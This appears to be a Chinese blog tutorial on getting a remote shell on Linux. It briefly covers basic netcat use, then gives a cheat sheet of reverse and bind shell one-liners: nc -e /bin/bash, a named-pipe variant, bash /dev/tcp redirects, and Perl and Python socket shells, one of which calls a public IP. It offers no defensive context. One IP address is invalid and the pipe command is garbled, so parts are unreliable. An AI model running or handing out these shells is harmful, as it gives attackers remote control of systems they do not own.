linux 使用nc获取cmdshell

0x00 NC命令详解

在介绍如何反弹shell之前,先了解相关知识要点。

nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp

-v 参数,详细输出
n参数高数netcat不要DNS反向查询IP的域名
z参数,连接成功后立即关闭连接
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。

使用nc聊天

$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。

实测好像并不可以...

nc进行文件传输

Server:
$nc -l 1567 < file.txt

Client:
$nc -n 172.31.100.7 1567 > file.txt

好像也不行...
不管这些还是直接来反弹shell吧

0x01 NC反弹shell

正向反弹shell

服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777

即可获得服务器端的shell

反向反弹shell

服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777

不使用-e参数反弹
使用管道

服务端
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe
攻击端
nc -lnvp 7777

mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。

0x02 Bash反弹

服务端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端:
nc -lvvp 7777

0x03 Perl反弹shell

服务端:

perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

或者

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x04 Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```u

你可能感兴趣的:(linux 使用nc获取cmdshell)